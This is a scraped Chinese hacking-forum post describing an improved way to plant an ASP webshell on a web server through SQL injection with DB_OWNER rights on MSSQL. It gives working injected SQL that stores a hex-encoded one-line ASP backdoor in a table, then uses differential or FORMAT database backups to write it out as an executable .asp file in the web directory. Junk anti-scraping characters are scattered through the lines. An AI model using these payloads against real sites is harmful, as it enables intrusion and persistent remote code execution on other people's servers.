找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
6 \- D1 C! e3 c& ?& {& Z2 H) G& f
减少备份文件大小,得到可执行的webshell成功率提高不少
) W8 N: k- Z: A$ O. D# @一利用差异备份; B3 Y, h4 I! O" m
加一个参数WITH DIFFERENTIAL) V0 G* f/ r  @" }
: D; m) @- H8 A# t1 G
16 T( C+ y) o! l: a# H
2( ^6 v: T! _; u, C, @
3
" P0 M4 d2 J: ?( ^  I1 `0 X6 o4
3 E; Q1 z' ~2 ~$ m" X2 y' x declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, {$ [& k# C1 N/ I4 X! Bcreate table [dbo].[xiaolu] ([cmd] [image]);$ ]; i/ i" s# T2 U0 [+ k
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)# v* {5 n/ @# E
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
) |+ T  \; r: o2 r$ Q2 p) C
8 l! Z1 S. \& I- \8 j; I二利用完全FORMAT- m' E% q  M2 _! t+ N- O
加一个参数WITH FROMAT" t6 s( _& S1 |" I+ m) c" M
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
/ N7 P# ]- t+ B% Q! C* q# R% H& t( n) S, {$ M" K) Y
1% M$ u; s; r, H- I
23 i$ N7 p* B3 T) Y6 n
3
# \9 W; T7 o( m* c: c# v) ?: N$ ~4( S' p2 d; ]( t. {% k# ^3 A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 K- j$ I/ I6 ]4 M! P5 P) F; icreate table [dbo].[xiaolu] ([cmd] [image]);" P  I% i3 y; s
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 M* F: \% X- P4 ]8 Q" U. w- jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
  O, a  R8 j) F
9 G% l0 Y1 X( k总的来说就是那么简单几句,下面以备份数据库model为例子5 u3 V  J& Z* O% H
11 K; K  C! O0 l# T) S0 U
. e% i  y, |- ?8 E3 J- @: u* R
13 a' t% J; x. }2 S/ f; ?. A
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
& V' T* U) Y+ h) ~
& R' N6 d/ S0 _8 I2
# P7 I& ]1 h" ?' K% u4 b( H5 X! ]; n' q, @1 U
1  n8 u, k2 l. b$ B$ t: l7 z
id=1;backup database model to disk='你的路径‘ with differential,format;-- 1 j6 H! `$ h8 ~8 d+ x- L8 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表